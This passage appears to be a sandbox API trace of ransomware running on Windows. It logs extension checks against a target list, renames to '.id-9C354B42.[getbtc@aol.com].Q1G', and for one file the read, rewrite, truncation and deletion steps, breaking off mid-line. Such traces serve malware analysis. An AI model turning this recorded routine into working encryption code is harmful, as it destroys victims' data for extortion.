[0052.369] lstrlenW (lpString=".bz2") returned 4 [0052.369] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.369] lstrlenW (lpString=".7z") returned 3 [0052.369] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.369] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0052.369] lstrlenW (lpString=".dbf") returned 4 [0052.369] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.369] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0052.369] lstrlenW (lpString=".1cd") returned 4 [0052.369] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.369] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0052.369] lstrlenW (lpString=".jpg") returned 4 [0052.370] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.370] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0052.370] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0052.370] lstrlenW (lpString=".doc") returned 4 [0052.370] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.370] lstrlenW (lpString=".docx") returned 5 [0052.370] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0052.370] lstrlenW (lpString=".pdf") returned 4 [0052.370] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.370] lstrlenW (lpString=".xls") returned 4 [0052.370] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.370] lstrlenW (lpString=".xlsx") returned 5 [0052.370] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0052.370] lstrlenW (lpString=".ppt") returned 4 [0052.370] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.370] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0052.370] lstrlenW (lpString=".zip") returned 4 [0052.370] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.370] lstrlenW (lpString=".rar") returned 4 [0052.370] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0052.370] lstrlenW (lpString=".bz2") returned 4 [0052.370] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0052.370] lstrlenW (lpString=".7z") returned 3 [0052.370] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0052.370] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0052.370] lstrlenW (lpString=".dbf") returned 4 [0052.370] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0052.370] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0052.370] lstrlenW (lpString=".1cd") returned 4 [0052.370] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0052.370] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png") returned 85 [0052.370] lstrlenW (lpString=".jpg") returned 4 [0052.371] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0052.371] lstrcmpiW (lpString1=".wmv", lpString2=".Q1G") returned 1 [0052.371] lstrlenW (lpString="Notes_LOOP_BG_PAL.wmv") returned 21 [0052.371] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.942] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=869322) returned 1 [0052.942] CloseHandle (hObject=0x1fc) returned 1 [0052.942] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv")) returned 0x20 [0052.942] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.942] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.942] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0052.942] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0052.942] lstrlenW (lpString=".doc") returned 4 [0052.942] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0052.942] lstrlenW (lpString=".docx") returned 5 [0052.942] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0052.942] lstrlenW (lpString=".pdf") returned 4 [0052.942] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0052.942] lstrlenW (lpString=".xls") returned 4 [0052.942] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0052.942] lstrlenW (lpString=".xlsx") returned 5 [0052.942] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0052.942] lstrlenW (lpString=".ppt") returned 4 [0052.942] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0052.942] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0052.942] lstrlenW (lpString=".zip") returned 4 [0052.942] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0052.942] lstrlenW (lpString=".rar") returned 4 [0052.942] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0052.942] lstrlenW (lpString=".bz2") returned 4 [0052.943] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0052.943] lstrlenW (lpString=".7z") returned 3 [0052.943] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0052.943] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0052.943] lstrlenW (lpString=".dbf") returned 4 [0052.943] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0052.943] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0052.943] lstrlenW (lpString=".1cd") returned 4 [0052.943] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0052.943] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0052.943] lstrlenW (lpString=".jpg") returned 4 [0052.943] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0052.943] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0052.943] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0052.943] lstrlenW (lpString=".doc") returned 4 [0052.943] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0052.943] lstrlenW (lpString=".docx") returned 5 [0052.943] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0052.943] lstrlenW (lpString=".pdf") returned 4 [0052.943] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0052.943] lstrlenW (lpString=".xls") returned 4 [0052.943] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0052.943] lstrlenW (lpString=".xlsx") returned 5 [0052.943] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0052.943] lstrlenW (lpString=".ppt") returned 4 [0052.943] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0052.943] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0052.943] lstrlenW (lpString=".zip") returned 4 [0052.943] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0052.943] lstrlenW (lpString=".rar") returned 4 [0052.943] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0052.943] lstrlenW (lpString=".bz2") returned 4 [0052.943] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0052.943] lstrlenW (lpString=".7z") returned 3 [0052.944] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0052.944] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0052.944] lstrlenW (lpString=".dbf") returned 4 [0052.944] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0052.944] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0052.944] lstrlenW (lpString=".1cd") returned 4 [0052.944] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0052.944] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0052.944] lstrlenW (lpString=".jpg") returned 4 [0052.944] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0052.944] lstrcmpiW (lpString1=".bmp", lpString2=".Q1G") returned -1 [0052.944] lstrlenW (lpString="rectangle_babypink_Thumbnail.bmp") returned 32 [0052.944] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.114] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=5072) returned 1 [0053.114] CloseHandle (hObject=0x214) returned 1 [0053.114] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp")) returned 0x20 [0053.114] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0053.114] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.114] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0053.114] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0053.114] lstrlenW (lpString=".doc") returned 4 [0053.114] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0053.114] lstrlenW (lpString=".docx") returned 5 [0053.114] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0053.114] lstrlenW (lpString=".pdf") returned 4 [0053.114] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0053.114] lstrlenW (lpString=".xls") returned 4 [0053.115] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0053.115] lstrlenW (lpString=".xlsx") returned 5 [0053.115] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0053.115] lstrlenW (lpString=".ppt") returned 4 [0053.115] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0053.115] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0053.115] lstrlenW (lpString=".zip") returned 4 [0053.115] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0053.115] lstrlenW (lpString=".rar") returned 4 [0053.115] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0053.115] lstrlenW (lpString=".bz2") returned 4 [0053.115] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0053.115] lstrlenW (lpString=".7z") returned 3 [0053.115] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0053.115] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0053.115] lstrlenW (lpString=".dbf") returned 4 [0053.115] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0053.115] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0053.115] lstrlenW (lpString=".1cd") returned 4 [0053.115] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0053.115] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0053.115] lstrlenW (lpString=".jpg") returned 4 [0053.115] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0053.115] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0053.115] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0053.115] lstrlenW (lpString=".doc") returned 4 [0053.115] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0053.115] lstrlenW (lpString=".docx") returned 5 [0053.115] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0053.115] lstrlenW (lpString=".pdf") returned 4 [0053.115] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0053.115] lstrlenW (lpString=".xls") returned 4 [0053.115] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0053.115] lstrlenW (lpString=".xlsx") returned 5 [0053.116] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0053.116] lstrlenW (lpString=".ppt") returned 4 [0053.116] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0053.116] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0053.116] lstrlenW (lpString=".zip") returned 4 [0053.116] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0053.116] lstrlenW (lpString=".rar") returned 4 [0053.116] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0053.116] lstrlenW (lpString=".bz2") returned 4 [0053.116] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0053.116] lstrlenW (lpString=".7z") returned 3 [0053.116] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0053.116] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0053.116] lstrlenW (lpString=".dbf") returned 4 [0053.116] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0053.116] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0053.116] lstrlenW (lpString=".1cd") returned 4 [0053.116] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0053.116] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0053.116] lstrlenW (lpString=".jpg") returned 4 [0053.116] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0053.116] lstrcmpiW (lpString1=".bmp", lpString2=".Q1G") returned -1 [0053.116] lstrlenW (lpString="rectangle_photo_Thumbnail.bmp") returned 29 [0053.116] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0053.505] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=5072) returned 1 [0053.506] CloseHandle (hObject=0x218) returned 1 [0053.508] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp")) returned 0x20 [0053.510] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0053.512] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.516] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp") returned 73 [0053.517] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp") returned 73 [0053.517] lstrlenW (lpString=".doc") returned 4 [0053.518] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0053.518] lstrlenW (lpString=".docx") returned 5 [0053.520] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0053.520] lstrlenW (lpString=".pdf") returned 4 [0053.521] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0053.521] lstrlenW (lpString=".xls") returned 4 [0053.522] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0053.524] lstrlenW (lpString=".xlsx") returned 5 [0053.524] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0053.525] lstrlenW (lpString=".ppt") returned 4 [0053.528] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0053.528] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp") returned 73 [0053.530] lstrlenW (lpString=".zip") returned 4 [0053.531] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0053.532] lstrlenW (lpString=".rar") returned 4 [0053.532] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0053.533] lstrlenW (lpString=".bz2") returned 4 [0053.534] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0053.534] lstrlenW (lpString=".7z") returned 3 [0053.536] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0053.538] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp") returned 73 [0053.540] lstrlenW (lpString=".dbf") returned 4 [0053.540] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0053.541] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp") returned 73 [0053.542] lstrlenW (lpString=".1cd") returned 4 [0053.542] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0053.542] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp") returned 73 [0053.543] lstrlenW (lpString=".jpg") returned 4 [0053.544] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0053.546] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp") returned 73 [0053.547] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp") returned 73 [0053.549] lstrlenW (lpString=".doc") returned 4 [0053.551] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0053.551] lstrlenW (lpString=".docx") returned 5 [0053.552] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0053.553] lstrlenW (lpString=".pdf") returned 4 [0053.555] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0053.555] lstrlenW (lpString=".xls") returned 4 [0053.557] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0053.557] lstrlenW (lpString=".xlsx") returned 5 [0053.557] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0053.558] lstrlenW (lpString=".ppt") returned 4 [0053.559] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0053.561] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp") returned 73 [0053.564] lstrlenW (lpString=".zip") returned 4 [0053.565] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0053.565] lstrlenW (lpString=".rar") returned 4 [0053.566] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0053.566] lstrlenW (lpString=".bz2") returned 4 [0053.567] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0053.568] lstrlenW (lpString=".7z") returned 3 [0053.569] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0053.570] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp") returned 73 [0053.570] lstrlenW (lpString=".dbf") returned 4 [0053.571] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0053.571] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp") returned 73 [0053.574] lstrlenW (lpString=".1cd") returned 4 [0053.575] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0053.576] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp") returned 73 [0053.578] lstrlenW (lpString=".jpg") returned 4 [0053.581] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0053.592] lstrcmpiW (lpString1=".xsl", lpString2=".Q1G") returned 1 [0053.593] lstrlenW (lpString="msjet.xsl") returned 9 [0053.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.694] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=28974) returned 1 [0054.694] CloseHandle (hObject=0x23c) returned 1 [0054.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 0x20 [0054.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.724] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.724] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0054.724] GetLastError () returned 0x0 [0054.724] ReadFile (in: hFile=0x23c, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x712e, lpOverlapped=0x0) returned 1 [0054.726] WriteFile (in: hFile=0x238, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x7130, lpOverlapped=0x0) returned 1 [0054.727] ReadFile (in: hFile=0x23c, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.727] WriteFile (in: hFile=0x238, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0054.727] SetEndOfFile (hFile=0x238) returned 1 [0054.727] CloseHandle (hObject=0x238) returned 1 [0054.728] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.728] SetEndOfFile (hFile=0x23c) returned 1 [0054.728] CloseHandle (hObject=0x23c) returned 1 [0054.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 1 [0054.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS 